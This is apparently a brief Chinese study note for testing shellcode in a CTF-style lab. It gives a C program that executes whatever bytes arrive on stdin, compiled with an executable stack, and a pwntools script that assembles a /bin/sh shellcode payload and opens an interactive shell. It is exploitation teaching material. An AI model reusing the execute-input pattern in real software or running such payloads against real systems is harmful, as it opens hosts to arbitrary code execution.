测试shellcode
fun.c
void main(){char *shellcode; //字符串指针read(0,shellcode,1000); //接受数据void (*fptr)()=shellcode; //函数指针指向 字符串,把char shellcode 内容当成代码执行fptr();}
- 编译命令: gcc func.c -o func -zexecstack
- 32位要在末尾加 -m32
from pwn import *context.arch="i386"context.log_level="debug"p=process("./func32")sh=shellcraft.sh()payload=asm(sh)p.sendline(payload)p.interactive()
